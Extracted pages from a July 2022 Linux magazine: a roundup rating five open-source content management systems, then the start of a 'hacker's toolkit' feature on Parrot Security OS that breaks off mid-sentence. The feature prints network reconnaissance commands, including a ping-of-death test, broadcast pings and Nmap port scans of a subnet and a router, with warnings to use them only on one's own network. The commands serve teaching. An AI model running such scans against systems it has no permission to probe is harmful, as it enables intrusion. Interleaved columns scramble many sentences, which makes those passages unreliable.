www.techradar.com/pro/linux July 2022 LXF290 25

WE COMPARE TONS OF STUFF SO YOU DON’T HAVE TO!

Roundup
ProcessWire 3.0.184 WordPress 5.9.3
Joomla! 4.1.2 Drupal 9.3.9 Ghost 4.43.1
Michael Reed
installed his first
CMS in the early
2000s. Well, he had
to do something
with his free
50MB of storage.…

Full-featured CMS
Michael Reed takes a good look at five heavyweight professional content
management systems that are all open source and completely free.

HOW WE TESTED…

We started with an Ubuntu LTS

(long term service) release. On
to this we installed the typical
LAMP (Linux, Apache, MySQL,
PHP) stack. We hosted this on a
virtual machine so that we could
zero everything back to the
beginning for each CMS.
Otherwise, you can easily get
tripped up by penalising the
first CMS for a difficult setup
process, whereas in fact the
subsequent CMSes needed
just as much work.
In each case, we used the
current stable release of the
CMS. Wherever we could, we
followed the official instructions
rather than trying to figure
things out for ourselves, in
order to ensure that the
instructions made sense.
Obviously, installing the ontent management systems (CMS) CMSes or ones that don’t allow manual
system is only the first stage,
and we used each of the
C is the term for software that hosts
web content, such as articles and
installation. Manual installation of a CMS
can take two forms: local installation on your
systems for a while. We put blog posts. Generally, they offer an interface own server or hosting remotely, in the cloud,
them through their paces, from which users of the site can post and usually on paid-for hosting. For our testing,
carrying out the kind of administer this content without resorting to we’ve installed each of the five CMS on to
everyday tasks that expect from hand-coding the site. Furthermore, the user our own server, but we’ll point out any issues
a CMS, such as creating new should be able to carry out customisation of relevant to remote hosting.
posts and trying our best to the look and layout of the site from within We’re trying to imagine a scenario of a
customise each site. the interface. To do all this, the CMS must typical Linux user who wants to set up their
be installed on to a web server, such as own website, make some posts and host
Apache or Nginx. some content. We’re looking for a setup that
Because we’re open source nuts here at would be ideal for a small business or an
Linux Format we’ve ignored closed source educational or open source project.

26 LXF290 July 2022 www.linuxformat.com

 Content management systems ROUNDUP

Get installed
Is the installation routine a helping
hand or more of a slap in the face?
e installed all of the CMSes locally on to an Ubuntu

W server. In some respects, this might seem unfair because

a typical hosting provider usually has a more suitable
setup environment for a typical CMS. On the other hand, it does
give us full control to troubleshoot each system, along with a level
playing field. Here we’re completing the Drupal installation. We don’t mind requirements for PHP
All of the CMSes required a bit of work to create a suitable components and configuration options if the installer provides helpful messages.
environment for hosting on our server. We took it as read that
we’d have to set the correct permissions for the installation We tried to install Joomla! within two different versions of
directory and that we’d have to create a MySQL database. Ubuntu without success. The problem was that we couldn’t
Most paid-for web hosting comes with a web-based tool called enable helpful error messages at such an early stage in the
phpMyAdmin, which makes this part of the process a bit easier. installation. A few forum posts on the official site made reference
Once we’d taken these steps to prepare our server environment, to similar problems with a similar server base and we never got to
WordPress installation was largely uneventful. The ProcessWire the bottom of it. In the end, we hosted it with the official Docker
installation process was also uneventful and offered the best image, which did work. Following the official instructions, we used
hints and checks that we saw in our tests. Nginx instead of Apache to host Ghost. Using Nginx a little extra
Things were slightly more complicated when it came to Drupal. work, but the instructions worked without a hitch. Ghost works a
On the plus side, the shortcomings of our server setup were bit differently from the others and doesn’t use an external
flagged up in a civilised manner by the installation routine, and database but it recommends MySQL for production installations.
that meant that we could search online and within forums to
change server settings and add components in a relatively
pain-free manner.
VERDICT
Drupal also offered the advantage of being able to use an WORDPRESS 8/10 PROCESSWIRE 9/10
SQLite database rather than MySQL. This stores the content JOOMLA! 5/10 GHOST 8/10
in a single file and means less setup work at the expense of DRUPAL 8/10
performance on large sites. For our tests, we went for the more On balance, ProcessWire provided the smoothest installation along with
standard MySQL, but it was nice to have the option. WordPress, but Joomla! was a disappointment.

Support and
community
Help for using the CMS and what
to do when we hit difficulties.
hether you’re installing the CMS, making content,

W handling problems or customising, you’ll need some

instructions from time to time. WordPress, Joolma! and
Drupal are well-established systems and this means that you can Drupal offers a fairly traditional online manual. We like having this option, along
usually find answers to problems online. WordPress has the biggest with individual articles, an active forum and general help from around the web.
advantage here due to its popularity. The official WordPress
documentation is highly comprehensive, consisting of articles felt that what is there is comprehensive and complete. The official
and a handbook. The official forum was reasonably active. forum is well-organised with a good activity level.
The Joomla! website features an active forum. Documentation Ghost’s official documentation was well organised and
was plentiful, but it was difficult to navigate for a newcomer, and it complete, and it mostly took the form of individual articles. Activity
varied in quality and age. The Drupal documentation was well levels on the forum were on the low side, though.
organised, and we quickly found the traditional, full online manual.
There were also many articles covering most aspects of using and
administering Drupal. An active forum ticked the final box of what
VERDICT
we expect in the case of software of this complexity. WORDPRESS 8/10 PROCESSWIRE 6/10
ProcessWire isn’t as well known as the other CMSes we’ve JOOMLA! 7/10 GHOST 6/10
looked at, and this means that there isn’t a huge amount of DRUPAL 9 / 10 7/10
information about it on sites other than the official site itself. This Drupal’s documentation was well organised and professional, and
site includes documentation for how to use the software, and we WordPress’s popularity gives it an advantage when troubleshooting.

www.techradar.com/pro/linux July 2022 LXF290 27

ROUNDUP Content management systems

The content editor

This is where you’ll be
working in the CMS WordPress 8/10 Ghost 9/10
Controversial on its inclusion in the 5.0 The Ghost editor is streamlined to say the
he installation process and release, WordPress now uses the so-called least. On first entering the editor, expect to

T administration of a CMS are

important, but the content
Block Editor for posts and pages. In this
minimalist system, the editor is a blank
see a plain white screen with areas to edit
the post title, an area to add a featured
editor is where you’ll spend most of page to which the user can add content. image and a blank area for the body text of
your time, as a user. CMSes tend to deal To add a block such as an image or a the article. It’s certainly free of distractions.
with two types of content: pages and quotation, the user creates a new Having said this, clicking a small icon
posts. In the case of the CMSes that paragraph using the return key and then can open up a more traditional-looking
we’re looking at, the editors for both clicks the plus icon that appears. A sidebar sidebar to edit post attributes. If you want
types of content are unified. is permanently present for posting options to edit the text attributes, such as creating
What we’re looking for is a workflow such as allowing commenting. Preview for a section header or adding bold emphasis,
that keeps out of our way as much as web, tablet or mobile is accessible via a highlight the text and hover over it to reveal
possible. That said, some users may button in the corner. a pop-up toolbar.
have more technical requirements, and Once the dust had settled over the As soon as you start filling the post up,
the right balance has to be struck. change to the block editor, most users the preview and post buttons appear in the
Consequently, some post editors stick accepted that they didn’t really need fine corner. The preview is particularly good
to the traditional layout and look similar control over layout within the editor or because it makes it possible for you to
to a word processor, whereas some go direct access to the underlying HTML. If see what the post will look like on a regular
for a minimalist design for quick entry you feel you do need a more traditional website, mobile, social media preview
of content with a uniform layout. editor, the classic editor can be reinstated posting or even as an email newsletter.
As well as entering the content itself, using a plugin. For daily posting of content, Overall, this content entry system is
there should be convenient facilities to the block editor is an efficient system. efficient and has a lot of features.
control the attributes of the content
such as whether it’s posted according
to a schedule and where it should be
placed on the site.

Themes and customisation

How easy is it to change the look and layout of your site?
he Ghost admin panel enables you to make broad be done manually. However, you can edit the currently installed

T changes to the colour scheme by choosing elements like

the highlight colour. Beyond that, it has a well-stocked
themes in terms of things like the colour scheme and banner
logo. We loved the Structure menu that makes it possible for
theme browser, and this combination adds up to something that’s straightforward changes to be made to the layout of the site
easy enough for end-users to dabble with. elements such as sidebars and headers. WordPress’s facilities for
As ever, WordPress has a great deal of choice when it comes to this task are drag and drop and potentially fiddly.
themes, and they can be browsed, previewed and installed from ProcessWire uses a template system that controls colour
within the admin interface. It’s marked as beta at the moment, theme and layout and can be associated with given pages. It’s
but there’s a built-in GUI theme editor in which you can hover over potentially a flexible system for web-coding experts, but there’s
an element and edit it using a pop-up toolbar. no easily browsable collection of installable themes.
There are excellent collections of Joomla! and Drupal themes
available online, even beyond their official sites. Joomla! enables VERDICT
you to have more than one theme simultaneously, associating
different themes with different content, but installation is done WORDPRESS 8/10 PROCESSWIRE 5/10
manually. This involves downloading the theme and installing via JOOMLA! 7/10 GHOST 7/10
FTP or file access on the server DRUPAL 7/10
Drupal comes with some bundled themes that are selectable in WordPress has the greatest number of themes, but Drupal and Joomla! are
the admin interface, but again, installation of extra themes must quite healthy in that department, too.

28 LXF290 July 2022 www.linuxformat.com

 Content management systems ROUNDUP

Joomla! 8/10 Drupal 7/10 ProcessWire 6/10

Joomla! offers what could be called a Drupal has a traditional WYSIWYG content Starting a new post in ProcessWire is
traditional article editor with a toolbar to editor with a small toolbar at the top of the slightly fiddly because you save the page
apply text attributes located at the top of window, and this doesn’t present quite as details before moving to the editor, and it’s
the window. A toggle enables you to switch many features as Joomla!. A status bar a standard-looking one as far as traditional
between a WYSIWYG view and a raw HTML shows the HTML tags affecting the current CMS editors go. A toolbar sits along the
view. Another toggle extends a secondary area of text, and a toggle enables the top, but it’s less feature-packed than those
toolbar. This is where you add inline writer to view and edit the underlying of Drupal or Joomla!. One niggle here: the
images and links. It’s also where you HTML. A sidebar makes it possible to text area fills most of the window width,
access the post preview which is basic, edit post attributes, such as a custom making working on text content difficult.
lacking mobile or other modes. URL or a custom menu link. However, this can be alleviated by resizing
There’s a sidebar on the right of the The preview does look like an actual the browser window.
screen and a tab bar along the top. The Drupal page, but there are no extra view Like Drupal, a status bar at the bottom of
tab bar offers a lot of options for the post modes such as mobile preview. It’s not the window indicates the current HTML
such as the posting schedules and what obvious at first, but the tab bar at the top attributes of the text and a toggle switches
elements should be visible to site visitors. of the editor is integrated with the site to HTML edit mode. We liked the way that
Joomla!’s editor is well-suited to itself and you can quickly move between the editor included a second, fold-out
technical users, and we don’t like to knock viewing a post on the site, editing it in editor for the sidebar of the current page.
it for offering a lot of options. However, the editor and back again by clicking the There’s more fiddliness when it comes to
there’s always a chance that less tech- tabs. It has some technical features, but page previews because the content isn’t
savvy contributors could hit areas of we’d say that a contributor who wasn’t shown until you save the text as a draft,
confusion or inadvertently cause problems a computer expert could probably just and they’re just previews of how the post
due to its complexity. about manage it. will look on a desktop browser.

Suitability for beginners

You might be an expert, but the user of the system might not be.
e tried to picture if a non-technical user could operate they use plain-looking editors. In our experience, those new to

W each CMS well enough to be able to post content and

make some simple configuration changes.
CMS are likely to introduce inconsistencies if they’re given a
toolbar full of options. Such users just want something to type or
Sticking with the defaults, Joomla! needs an expert to make it paste into while letting the system handle the formatting.
usable for a newcomer. It lacks an admin button, preferring a URL Once actually inside the admin panels of the five systems on
for access. If you’re logged in with privileges then the modules test, the ease of use wasn’t vastly different. Ghost contained
that make up the page elements, such as the sidebar, do have edit fewer options and a permanently open sidebar in its favour,
icons on them. Obviously, there’s room to change all of this with and WordPress looked friendlier with more use of graphics
themes and admin options, but new users are left with an odd mix and more facilities for doing tasks such as installing plugins
of easily accessible changes they can make, and yet they have no without leaving the admin panel.
simple button to press to create a new post because this is
achieved in the admin panel. VERDICT
Drupal is much more accessible for the non-technical crowd in
its default state. It has a quickbar along the top for configuration WORDPRESS 9/10 PROCESSWIRE 5/10
and has an Add Content link. JOOMLA! 5/10 GHOST 9/10
Tastes vary, and we get into more detail about post editors DRUPAL 6/10
above, but we’re going to award more points to Ghost and WordPress and Ghost are the best systems for non-experts, but Drupal is a
WordPress when considering the ease of creating posts because fairly friendly system as well.

www.techradar.com/pro/linux July 2022 LXF290 29

ROUNDUP Content management systems

Extra features
Does one CMS have any niceties
that the other systems lack?
host has built-in subscription features. Posts can be

G published on your site while simultaneously being sent

as a social media post or even an email newsletter. It’s
also helpful that these end products can be previewed from within
the post editor. You can also export or import your subscriber list.
Screenshots can’t convey the speed of a CMS, but subjectively, Features aimed at creating an audience and interacting with it are common in
we noticed that Ghost seemed a bit snappier than the Ghost. It would be a lot of work to add features like these to the other CMSes.
competition. This makes sense – it’s not as reliant on plugins and
extensions because it comes pre-optimised for its intended role at When considering security issues, for once, WordPress’s
the expense of overall flexibility. popularity works against it because hacking attacks are far
WordPress has different roles that can be assigned to a user, less likely on the less-popular CMS. So, that’s a bonus point
but Drupal has more granularity and detail in this department. for the other systems. However, there are a greater number
For example, you could create a custom role with certain of professionals who can help to create customisations for
privileges or restrict a given role in areas, such as being able to WordPress than the other systems, and prices are usually lower.
edit a certain level of HTML in posts. If you’re focused on details
like these, then Drupal and Joomla! both tend to offer finer-grained VERDICT
options than WordPress.
The official Drupal website has a searchable database of WORDPRESS 9/10 PROCESSWIRE 5/10
‘distributions’. These are downloadable pre-customised versions JOOMLA! 8/10 GHOST 7/10
of Drupal that are intended for a specific role. We searched for DRUPAL 8/10
actively maintained distributions with a stable release, and there WordPress is extendable in many areas, but the other systems have some
were 125 listed. unique advantages, too.

Extensions
Beyond the defaults, to what degree
can you add features easily?
xtensions can be a lifesaver when there’s an additional

E feature that you need to offer. That said, employing

extensions isn’t always ideal because they can add
performance and maintenance overheads. If you’re having to
massively expand the CMS with extensions, it might be worth
considering a system that’s closer to your needs by default.
WordPress has a massive number of extensions available. This WordPress’s extension browser is searchable and offers ratings and reviews.
means it can turn its hand to any kind of content management It’s also fully integrated into WordPress itself making it super easy to use. The
selection of extensions is huge.
role you can think of. WordPress extensions are browsed and
installed from within the admin panel, and the listings include
reviews and ratings. Extensions that exist outside the official integrations with social media and the like rather than adding
ecosystem can also be added to WordPress, but this has to be new functions as such. It’s possible you could run into a brick
done manually. wall if you have a niche requirement because Ghost may not
Drupal and Joomla! take a similar tack to each other when it have the extension to do it.
comes to the extension system. Both systems rely on the official We were pleasantly surprised that the ProcessWire extension
website to organise and make available extensions (which Joomla! ecosystem is a healthy one with a few hundred extensions, but
terms ‘modules’). In both cases some of the internal functionality it’s worth remembering that WordPress, Joomla! and Drupal have
is implemented using extensions and they both ship with a thousands of plugins. They tend to be well-documented, but there
number of smaller extensions that are disabled by default. are no reviews or ratings, and they need to be manually installed.
However, we felt that Joomla! had the edge in this area in
terms of how well organised the site is and the sheer
number of commercial and free extensions.
VERDICT
Ghost doesn’t rely heavily on the extensions concept because WORDPRESS 10/10 PROCESSWIRE 6/10
it’s already well-featured in the type of role it’s optimised for: JOOMLA! 8/10 GHOST 5/10
magazine and news type sites. However, it can be extended with DRUPAL 7/10
both commercial and free add ons, and there is a marketplace As ever, WordPress has the extension edge due to popularity, but Joomla!
area of the official site. Most of these extensions are focused on and Drupal are also extremely healthy in this area.

30 LXF290 July 2022 www.linuxformat.com

 Content management systems ROUNDUP

The verdict
Content management systems
e’ve decided that WordPress is the overall winner of this

W month’s Roundup. As often happens when comparing

different pieces of software, popularity in itself brings
many advantages. Any problem that crops up is usually fixable
thanks to all of the advice that’s out there for WordPress.
WordPress is also the leader when it comes to extensions. Thanks
to that, we’d struggle to find any role that WordPress couldn’t be
used for when it comes to serving up content over the internet.
Whenever one of the alternatives seems to offer an advantage,
the answer is usually that WordPress has a plugin that can
achieve the same thing.
Ghost struck us as a highly streamlined environment for
magazine-style sites that mix news posts with articles. It’s
designed for the type of website that draws regular users in 1st WordPress 9/10
by using social networking integration, and unlike most CMS
systems, comes with everything ready configured for an efficient Web: www.wordpress.org Licence: GPLv2+
workflow for this type of work. In theory, you could adapt one of Version: 5.9.3
the other CMSes to make it work in much the same way, but There’s not much it can’t do when it comes to creating a website.
Ghost will suit many use-cases out of the box. The flip-side is that
you may need outside help when you come across something 2nd Drupal 8/10
that Ghost doesn’t do by default.
Drupal feels like a more business-like version of WordPress with Web: www.drupal.org Licence: GPL-2.0-or-later
a great deal of customisation scope. It’s not quite the equal of Version: 9.3.9
WordPress when it comes to ease of use, but we’d bet that the Features to keep the tech-heads happy and fairly easy to use, too.
average user could make a few small configuration changes and
post some content without having to ask for help. 3rd Ghost 7/10
It’s a shame that Joomla! hit us with a generic installation
error from the get-go, because it’s certainly a powerful and Web: https://ghost.org Licence: MIT License
extensible system. However, for day-to-day use, whether that Version: 4.43.1
be customising the system or posting content to the site, Joomla! Narrower focus than the others, but does what it does extremely well..
gives the impression that it’s aimed at technically minded people
when compared to the workflow that WordPress and Ghost offer. 4th Joomla! 7/10
ProcessWire could be used as a general-purpose CMS to self-
host a personal project site, but it’s intended to work as a Web: www.joomla.org Licence: GPL 2.0 or later
framework for developers to use as a base. It’s aimed at web Version: 4.1.2
developers who want a clean, modern base that isn’t held back Massively powerful with masses of options, but strictly one for the experts.
by legacy support. That’s not to say it’s unpleasant or difficult to
use, but if you don’t have the web development skill-set to extend 5th ProcessWire 6/10
the system yourself, then one of the other choices would
probably be the better bet. Web: https://processwire.com Licence: Mozilla Public License
2.0 Version: 3.0.184
A few rough edges, but a powerful blank slate for web developers.

ALSO CONSIDER
If you don’t want to host a CMS yourself, consider hosting – but apart from that, it’s not difficult to use.
packages that include automatic setup. In fact, https:// Typo3 (https://typo3.org) has been around for quite a while.
wordpress.com offers free WordPress hosting that includes In fact, it predates WordPress by a few years. We decided not to
automatic setup of a WordPress site that you can customise. look at it this time because it’s aimed at large organisations
Similarly there’s Ghost (Pro) https://ghost.org/pricing. rather than individual users. Textpattern (www.textpattern.
For people who like editing files, Grav (https://getgrav.org) is com) is a venerable open source CMS that concentrates on
worth considering. It doesn’t have a post editor – you add simplicity over frills. It aims to give you a substantial amount of
markdown formatted text files into the appropriate directories control over the HTML and CSS that makes up your site.

www.techradar.com/pro/linux July 2022 LXF290 31

 H
igh-profile headlines involving In days gone by Linux users might have The computing ecosystem has become
the gerund ‘hacking’ are had reason to be aloof. In the early 90s complex. So complex, in fact, that beyond
becoming increasingly when Linux was still young, there probably the usual guidance – “don’t click suspect
common. Nary a day goes by weren’t that many people trying to attack links”, “beware of email attachments” and
without cybercrooks making off with it. And that’s largely because there weren’t “keep your software up to date” – there
millions of dollars worth of internet all that many people using it. Within a isn’t much tangible advice we can impart
money (or “priceless” NFTs). Which couple of years though, that had all to regular users.
is a shame because lots of the people changed. Red Hat and openSUSE So instead we look at the tricks used by
defending against all this computer enshrined Linux’s place in the server hackers on both sides of the force. And
misuse would probably describe market. Now it’s all over the cloud, on two we’ll show you a new Linux distro in the
themselves as hackers, too. We’ll billion phones, while some quirky form of Parrot Security OS. A veritable
continue this debate within, but the individuals use it hackers’ toolkit one might say, that will
point is ransomware, denial of service as a desktop teach you the ways of pen-testing, network
attacks and even state-sponsored operating reconnaissance and exploitation. What
cyber operations are all on the rise. system. could possibly go wrong?

32 LXF290 July 2022 www.linuxformat.com

 Hacker’s toolkit 2022

Hack the planet/Parrot

Get started with a persistent USB install of Parrot Security OS

sually for these hacker-themed features we The hacker

U tend to make judicious use of Kali Linux, a

distro that’s jam-packed with pentesting and
knowledge website
hackthebox.com
has challenges
OSINT (open source intelligence) tools. But it’s not and labs that
the only one – Parrot OS is equally powerful. And use Pwnbox, a
we’d urge you to go and grab the Security edition virtual, browser-
from https://parrotsec.org and write it to a USB based edition of
Parrot Security.
stick without delay. Then the games can begin.
Before exploring Parrot OS, marvel at the stylish
MATE desktop. Besides the colourful background, the
Applications menu is organised into categories ranging
with everything from privacy tools to text editors. Most
of the specialist software is in the Pentesting category, One reason Parrot has separate Desktop and
so here you’ll find password crackers, social engineering Security editions is that you wouldn’t necessarily want
tools and many scanners. The System Services all of those root-privileged tools lying around on your
category enables you to start various database and web desktop. Just having them there is a security risk. Not
services, which are required for some programs. Or if because someone can exploit them, but because in the
you’re targeting a locally hosted web application. wrong hands they can wreck one’s setup. Similarly it’s
not recommended to use the likes of Kali Linux (which
Don’t get ahead of yourself by default only uses the root account) as a daily driver.
Many of the programs in the menu are command line You can, of course, install these (see, for example,
affairs. If, for example, you go to Pentesting>Web https://parrotsec.org/docs/installation.html), but
Application Analysis>wig, then a terminal will open remember that Parrot Security and Kali Linux can
showing the help page for wig (the WebApp Information also be employed from a USB stick, which obviates
Gatherer). Having read the help page, you might now the need for any kind of installation. That being said,
be tempted to use this to scan your (least) favourite it’s a little annoying working from a live environment
websites for weaknesses. But probably best not. Wig and having to remember to save your data on another
runs as a regular user, as you can see from the stylish device or the cloud (since any changes you make in the
ZSH prompt. But some programs are automatically live environment are lost on shutdown). Fortunately,
run as root, for example Recon-NG (in the … menu) Parrot makes it very easy to create a USB stick with
or anything that crafts packets or otherwise requires persistence. Since the Security edition is close to 5GB,
special access. Some aren’t even programs at all. If you an 8GB USB stick will permit you 3GB of persistent
click ‘webshells’ for example, Parrot just opens up a storage. This is as easy as the three-step walkthrough
terminal in the /usr/share/webshells directory. (see below) suggests.

INSTALL PARROT

Get Parrot Add a partition Persistence is bliss

1 The first step is to create a regular 2 Rather than boot the USB, open it in 3 In order for Parrot to recognise the
Parrot USB. Download an ISO from Gnome Disks or Gparted. You’ll see some persistence partition, it must contain a file
https://parrotsec.org. We’d recommend free space at the end of the drive. Create named persistence.conf, which in turn
using Balena Etcher or one of the many a new Ext4 partition in this space and contains the text / union. You should
other graphical USB writing tools out there, optionally give it a label. Once that’s done be able to do this from any text editor,
but feel free to write the ISO to USB from the new partition should be visible in your depending on how filesystem permissions
the command line if you must. file manager. have been set.

www.techradar.com/pro/linux July 2022 LXF290 33

Hacker’s toolkit 2022

Hacking 101
Starting with the humble ping command and moving
on to some stealthy network recon activities…

lmost 10 years have passed since the involves sending an ICMP packet to a host (or hosts

A infamous ‘Learn to Hack’ feature got us in

trouble with Barnes & Noble, but just in case
as we’ll see). If the host(s) haven’t been configured
to block or ignore these, then it’ll reply with an
let’s start with a warning. The word “hacking” has acknowledgement packet.
unfortunately been co-opted by the media and It’s not helpful to block ICMP packets since they’re
entertainment industries, where it’s repeatedly used useful for diagnosing network faults. However, if you
to denote any and all illegal activities done on a cast your mind back to 1997 (and were lucky enough to
computer. The traditional (and correct!) usage refers have access to a network back then) you might recollect
to much more honourable pastimes: tinkering, a popular artefact dubbed the “Ping of Death”. The
reimagining and making machines behave in a way attack worked by creating an ICMP packet that’s larger
other than how they were designed to behave. than expected (pings are only supposed to be 64 bytes).
Wait, that wasn’t a warning. This is though: whatever This is divided into chunks and then sent to the target
you learn in this feature, be aware that inappropriate machine, which receives the chunks, tries to put them
use of computers can land you in a lot of trouble. Some back together and then promptly encounters a buffer
of the tools featured here can do real damage. It’s also overflow because innocent TCP/IP stacks of the past
simple for a skilled defender to detect their use, trace allocated only the memory required for a correctly sized
your IP address and alert the authorities. There are skills response packet. And then didn’t check those bounds
and tricks to not getting caught and we’re not going to before trying to store it, crashing the system.
teach you them. So please keep all your break-in
attempts, covert reconnaissance and Bobby’ DROP Beware the ping of death
TABLES-style SQL injections restricted to your own Ping has been around since 1983, and most OSes have
infrastructure. There’s a lot to learn from poking around their own implementation of the program. Prior to 1997,
your home network. Who knows, maybe you’ll discover pretty much all of them were vulnerable to the ping of
a misconfiguration or even a vulnerability in your router, death. Windows 95’s version, for example, enabled the
or a Raspberry Pi accidentally left exposed to the world. user to specify a “load” parameter, which set the size of
Let’s start by using Parrot OS to do some network the packet’s data field. This is supposed to be 56 bytes
reconnaissance. Specifically, we’re going to try and (the header is an additional eight bytes), but the
identify every machine on our network. command would accept arbitrary values. Setting it to
Before we avail ourselves of Parrot’s mighty arsenal around 65,500 was generally enough to cripple a target
we’re going to see how far we can get with the humble machine. Since this attack was widely publicised, it
ping command, which is available on all OSes. ‘Pinging’ didn’t take long for servers and workstations around the

In just a few
seconds EtherApe
had sniffed the
traffic from a
sizeable chunk
of Future Towers’
review network.

34 LXF290 July 2022 www.linuxformat.com

 Hacker’s toolkit 2022

internet to be patched with appropriate malformed

packet filters and bounds checks.
Linux’s ping command still permits a size parameter,
but if you try a ping of death yourself, for example
$ ping 127.0.0.1 -c4 -s 65500
you’ll see that nary a single packet is returned, and that
your machine didn’t die. There’s no real point sanitising
the input of the ping program in this case. Remember
that it’s the kernel which does the communicating with
network hardware, and anyone could write their own
ping program to make those kernel calls with whatever
parameters they desire. This effort would deter
inexperienced script kiddies, but not veteran attackers.
The idea behind the ping of death can be generalised
to other IP packets, but the defences have been put in
place by now. That didn’t stop the IPv6 ping of death ASCII UFO invaders are coming to war drive your wireless network. Oh no, wait – it’s just the
making a brief appearance on Windows in 2013, though. Airgeddon splash screen. Stand down, people.

Capture the broadcast flag as they flow through your network. And from those
One of the lesser-known ping features is the broadcast packets we can collect source and destination
flag, and that’s what we’re going to leverage to do the addresses. We’ll use the EtherApe tool to do this,
network recon. As we hinted earlier, this enables not just which rather pleasingly draws hosts in an ellipse as
one machine to be pinged, but a whole subnet. Try the they’re discovered in real time, as well as showing the
following command at home, replacing the first bits of traffic flows between them. You’ll find EtherApe in the
the IP address as appropriate (255 is a ‘reserved octet’ Applications menu under the Pentesting>Information
that denotes the broadcast address, in this case Gathering section.
everything from 192.168.0.1 to 192.168.0.254):

ANALYSE YOUR NETWORK

$ ping -b -c 4 192.168.0.255
Here we send a packet to the broadcast address and

“We send a packet to the broadcast

then wait for four response packets from each machine.
Note that the command gives you a warning that you’re

address and then wait for four

pinging a broadcast address, since users would be
mighty confused if they thought a single host was

response packets from each machine.”

replying from multiple addresses. You should see
responses from some of the computers on your
network, though many OSes (including most Linux
distros) don’t by default respond to this type of Having got an idea of the number of machines on
broadcast. Identifying which machine is which is our network, we could do some deeper observation
tricky at this stage (unless you pull up your router’s of packets to see what they’re up to. The Wireshark
configuration page), but at least it gives us an idea of program is industry standard for this task, and easy to
the number of devices on your network. You’ll also see get started with (click Pentesting>Most used tools).
the total roundtrip time, which can be used to diagnose Hackers, good and bad, use packet captures (pcaps)
network congestion or routing issues. We’ll talk more obtained from the likes of Wireshark for everything from
about weaponising pings later. For now let’s get back to recon to reverse engineering. Alternatively we can use
our network recon. Nmap, another ubiquitous hacker tool (it even appeared
A more effective (and less visible) way to enumerate in the second Matrix film), to scan our network and find
the machines on your LAN is to passively ‘sniff’ packets out what those machines are up to.

INTRODUCING NMAP
Parrot comes with a handy GUI front-end with a prefix size of 24. If you like binary Advanced menu, then you can save it in
that saves you learning (at least until the that’s all the addresses which match the the default user’s home folder and it’ll
next page) Nmap’s lengthy command first 24 bits of the (32-bit) IPv4 address. still be there on reboot. Otherwise don’t
line syntax. You’ll find it under Pentesting Now hit the Start button and the worry because it’s easy to regenerate
>Information Gathering>Nmapsi4. background terminal will jump into life this list later.
There’s an option to run it as root, but while the scan completes.
don’t worry about that for now. When it’s done save the list of
From the welcome screen select discovered IPs using the button at the
Discover a network, then specify a CIDR top. We’ll analyse these further over the
address and prefix length. To scan the page. If you set up USB persistence as
256 address beginning with 192.168.0, described earlier, and booted using one
for example, use the address 192.168.0.0 of the Persistence modes from the

www.techradar.com/pro/linux July 2022 LXF290 35

Hacker’s toolkit 2022

Nmap deep dive

Nmap, the stealthy port scanner, is a vital tool for any
helpful hacker or nefarious network administrator’s arsenal.

e’ve seen how the humble ping command open a terminal and do it manually. To start, just enter

W can tell us not just if our machines are

reachable, but how many of them are on the
the following:
$ sudo nmap 192.168.0.0/24
local network. If we read into the timings column a bit, This will scan the local network as before, but instead
we might even speculate about how far away these of pinging the machines it’ll probe the 1,000 most
Once you’ve machines are. However, for network reconnaissance common service ports on each machine, and tell you if
discovered your and port scanning, you can’t beat Nmap. any are listening. As well as this, when we run it as root it
network click Since we’ve already got an XML list of machines on gives us some additional information about each host.
Scan Options to our LAN it would be nice if we could re-use it here to Namely its MAC address and the manufacturer
commence more
thorough script
save scanning again. Sadly, the XML files generated by identification associated with that. This is our favourite
scanning of Nmapsi4’s network discovery can’t be easily digested by way of finding the IP addresses of Raspberry Pis on our
the machines. Nmap itself (or we couldn’t figure out a way). So let’s home networks. Since we tend to have enabled SSH on
most of these devices, we need only scan port 22 here:
$ sudo nmap -p22 192.168.0.*
As you can see, Nmap doesn’t mind if you prefer
wildcards or subnet masks. Just a small caveat though:
the Pi 4 uses a different Ethernet adapter than its
predecessors, so this shows up as something other than
Raspberry Pi Foundation

Spotting running services

Let’s forget about stray Pis and consider the services
running on your own network. Looking at the previous
scan results may (depending on what the boxes on your
network are doing) reveal hosts running SSH, web
interfaces, Windows File Sharing (NetBIOS/SMB/CIFS),
remote desktop (VNC/RDP) as well as some things
you’ve probably never heard of. The services running
may be different to those listed – service names are just
assumed from the port number at this stage.
NORTHERN EXPOSURE Now consider your home router. It’ll almost certainly
be running a web control panel on port 80, but there
The Common Vulnerabilities and Exposures (CVE) database is a may be all kinds of other services running. If you want to
fantastic dataset operated by The Mitre Corporation at the behest scan every single port, you could do so with:
of the US government. It tracks vulnerabilities as they’re discovered $ sudo nmap -p1-65535 192.168.0.1
and cross-references them with the internal tracking systems of This isn’t particularly smart, though. Nmap’s default
companies and distros, so it’s easy to determine which versions SYN scan may be stealthy, but it’s not fast at scanning
or which releases are vulnerable. closed ports. Those ports might reject the incoming SYN
In addition to CVE, there’s the associated National Vulnerabilites packets, in which case the scan will finish quickly. Or the
Database (https://nvd.nist.gov), where CVEs are rated by severity. connection attempts will be silently dropped, leaving
Several of the CVE numbers related to the ShellShock vulnerability Nmap waiting for a response that’s never coming. Or
score a perfect 10. As do other CVEs that affect popular software, allow there could be a rate-limiting firewall in effect.
remote code execution and can be carried out by fools (script kiddies). If you leave the previous command running for a
‘Person in the middle’ attacks, which might be hard to pull off in the while and then push Space, you’ll see a progress
real world and only lead to user impersonation or limited information estimate and an estimated time of completion. In our
leakage, might score more modestly. Besides CVE entries, you can case this was close to a day, so we thought we’d try a
also search the Common Platform Enumerations (CPE) database, different tool. Masscan (Information Gathering>Network
which makes it easy to find vulnerabilities in a particular product. & Port Scanners) took a mere 15 minutes to tell us it
Sooner or later someone will release Proof of Concept (PoC) code couldn’t find any services running on obscure ports.
showing how to exploit a particular vulnerability. Ideally, this happens Note the increase in the noise in our reconnaissance
after the issue is responsibly disclosed to the affected vendors or so far. We started by silently spying on the network with
projects, giving them time to ship patches. If not, it’s a race between Etherape, did a barely detectable probe with Nmap to
cyber fiends attacking and security teams patching. find all the hosts, and now we’re picking one host and
doing thorough inspections. And it’s about to get worse.

36 LXF290 July 2022 www.linuxformat.com

 Hacker’s toolkit 2022

There are a
huge number of
tools carefully
categorised within
the Pentesting
menu. Nmap here
will be our first
port(scan) of call.

We can use Nmap to perform OS and service version machine. Out of curiosity, we thought we’d investigate
